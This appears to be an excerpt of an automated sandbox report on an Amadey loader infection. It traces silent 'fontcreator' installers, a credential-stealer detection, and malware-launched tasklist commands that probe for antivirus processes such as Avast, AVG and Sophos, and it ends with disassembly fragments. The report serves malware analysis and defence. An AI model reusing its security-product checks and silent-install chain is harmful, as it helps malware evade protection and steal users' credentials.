Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xee0000
File size:	1'852'416 bytes
MD5 hash:	025ADBE1C02028C4282272BF62A18A02
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2333467798.00000000047E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:57:10
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe"
Imagebase:	0x7ff7699e0000
File size:	6'172'760 bytes
MD5 hash:	6FDF2CDF68AB1880AA76E7938E241FA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:57:10
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp" /SL5="$C0076,2820349,845824,C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe"
Imagebase:	0xf90000
File size:	3'366'912 bytes
MD5 hash:	945EC37B9971C5E9F26FAFAD6EDFD46E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:57:11
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe" /VERYSILENT
Imagebase:	0xcc0000
File size:	6'172'760 bytes
MD5 hash:	6FDF2CDF68AB1880AA76E7938E241FA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:57:11
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp" /SL5="$50284,2820349,845824,C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe" /VERYSILENT
Imagebase:	0x910000
File size:	3'366'912 bytes
MD5 hash:	945EC37B9971C5E9F26FAFAD6EDFD46E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:57:12
Start date:	01/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Imagebase:	0x7ff657d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:57:12
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:57:12
Start date:	01/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Imagebase:	0x7ff61b960000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:57:12
Start date:	01/11/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "wrsa.exe"
Imagebase:	0x7ff63a5d0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:57:13
Start date:	01/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Imagebase:	0x7ff657d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:57:13
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:57:13
Start date:	01/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Imagebase:	0x7ff61b960000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:57:13
Start date:	01/11/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "opssvc.exe"
Imagebase:	0x7ff63a5d0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:57:13
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe"
Imagebase:	0x9c0000
File size:	6'172'760 bytes
MD5 hash:	6FDF2CDF68AB1880AA76E7938E241FA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:57:13
Start date:	01/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Imagebase:	0x7ff657d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:57:13
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:57:13
Start date:	01/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Imagebase:	0x7ff61b960000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:57:14
Start date:	01/11/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avastui.exe"
Imagebase:	0x7ff63a5d0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:57:14
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp" /SL5="$30472,2820349,845824,C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe"
Imagebase:	0xa00000
File size:	3'366'912 bytes
MD5 hash:	945EC37B9971C5E9F26FAFAD6EDFD46E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:57:14
Start date:	01/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Imagebase:	0x7ff657d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:57:14
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:57:14
Start date:	01/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Imagebase:	0x7ff61b960000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:57:14
Start date:	01/11/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avgui.exe"
Imagebase:	0x7ff63a5d0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:57:14
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe" /VERYSILENT
Imagebase:	0x9c0000
File size:	6'172'760 bytes
MD5 hash:	6FDF2CDF68AB1880AA76E7938E241FA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:57:15
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp" /SL5="$40474,2820349,845824,C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe" /VERYSILENT
Imagebase:	0x6a0000
File size:	3'366'912 bytes
MD5 hash:	945EC37B9971C5E9F26FAFAD6EDFD46E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	05:57:16
Start date:	01/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Imagebase:	0x7ff657d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	05:57:16
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:57:16
Start date:	01/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Imagebase:	0x7ff72bec0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:57:16
Start date:	01/11/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "nswscsvc.exe"
Imagebase:	0x7ff63a5d0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:57:16
Start date:	01/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Imagebase:	0x7ff657d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4432, Parent PID: 2004

General

Target ID:	39
Start time:	05:57:16
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:57:17
Start date:	01/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Imagebase:	0x7ff657d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:57:17
Start date:	01/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Imagebase:	0x7ff61b960000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:57:17
Start date:	01/11/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "wrsa.exe"
Imagebase:	0x7ff63a5d0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:57:17
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	05:57:17
Start date:	01/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Imagebase:	0x7ff61b960000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	05:57:17
Start date:	01/11/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "sophoshealth.exe"
Imagebase:	0x7ff63a5d0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	05:57:17
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\hangbird\Updater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\hangbird\\Updater.exe" "C:\Users\user\AppData\Local\hangbird\\caliculus.csv"
Imagebase:	0xd00000
File size:	943'784 bytes
MD5 hash:	3F58A517F1F4796225137E7659AD2ADB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	05:57:17
Start date:	01/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Imagebase:	0x7ff657d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 3552, Parent PID: 3052

General

Target ID:	48
Start time:	05:57:17
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	05:57:17
Start date:	01/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Imagebase:	0x7ff61b960000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	05:57:17
Start date:	01/11/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "opssvc.exe"
Imagebase:	0x7ff63a5d0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	05:57:18
Start date:	01/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Imagebase:	0x7ff657d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2792, Parent PID: 1888

General

Target ID:	52
Start time:	05:57:18
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	05:57:18
Start date:	01/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Imagebase:	0x7ff61b960000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	05:57:18
Start date:	01/11/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avastui.exe"
Imagebase:	0x7ff63a5d0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	05:57:19
Start date:	01/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Imagebase:	0x7ff657d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 3488, Parent PID: 4408

General

Target ID:	56
Start time:	05:57:19
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	05:57:19
Start date:	01/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Imagebase:	0x7ff61b960000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	05:57:19
Start date:	01/11/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avgui.exe"
Imagebase:	0x7ff63a5d0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	05:57:19
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe"
Imagebase:	0x180000
File size:	2'900'480 bytes
MD5 hash:	2422D51ED6D21DF3CE5591F3B0A03125
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000003B.00000003.2580293126.0000000001772000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000003B.00000003.2622372839.0000000001771000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000003B.00000003.2590778879.0000000001773000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000003B.00000003.2603936780.000000000176E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000003B.00000003.2620779995.0000000001771000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000003B.00000003.2644607291.0000000001772000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000003B.00000003.2623509191.0000000001771000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000003B.00000003.2580198517.000000000176F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000003B.00000003.2603984252.000000000177B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000003B.00000003.2664417098.0000000001774000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	05:57:20
Start date:	01/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Imagebase:	0x7ff657d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	05:57:20
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	05:57:21
Start date:	01/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Imagebase:	0x7ff61b960000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 007F8F50 Relevance: 18.6, Strings: 14, Instructions: 1075COMMON

Download Yara Rule

Strings

TCP&, xrefs: 007F8F97
8640, xrefs: 007F904B
655&, xrefs: 007F902C
0&ci, xrefs: 007F9012
"?pr, xrefs: 007F8F8F
0&re, xrefs: 007F8FB9
1741, xrefs: 007F8FF4
":44, xrefs: 007F9040
9999, xrefs: 007F9251
3096, xrefs: 007F9018
3096, xrefs: 007F9017
252&, xrefs: 007F9001
252&, xrefs: 007F9000
dle2, xrefs: 007F9208

Memory Dump Source

Source File: 00000000.00000003.1728073796.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, Offset: 007F5000, based on PE: false

Associated: 00000000.00000003.1724503778.00000000007F5000.00000004.00000020.00020000.00000000.sdmpDownload File
Associated: 00000000.00000003.1833813471.00000000007F1000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7f5000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ":44$"?pr$0&ci$0&re$1741$252&$252&$3096$3096$655&$8640$9999$TCP&$dle2
API String ID: 0-1382896624
Opcode ID: 30d2dae32d11ad867c708d416d89a2b4c60b0e5f6e369f69c97b18d875e864bd
Instruction ID: b3dd009f505e229b6386e80e445cdcb4c464d6485ca2d55920e2c765a80e60fa
Opcode Fuzzy Hash: 30d2dae32d11ad867c708d416d89a2b4c60b0e5f6e369f69c97b18d875e864bd
Instruction Fuzzy Hash: CF52362240D7D95EDB239B348A693727FA4FE63310B2D04DBC7818A3A3E51D9906D35B

Function 007F8F80 Relevance: 13.1, Strings: 10, Instructions: 588COMMON

Download Yara Rule

Strings

1741, xrefs: 007F8FF4
TCP&, xrefs: 007F8F97
8640, xrefs: 007F904B
3096, xrefs: 007F9018
9999, xrefs: 007F9251
655&, xrefs: 007F902C
252&, xrefs: 007F9000
"?pr, xrefs: 007F8F8F
dle2, xrefs: 007F9208
0&re, xrefs: 007F8FB9

Memory Dump Source

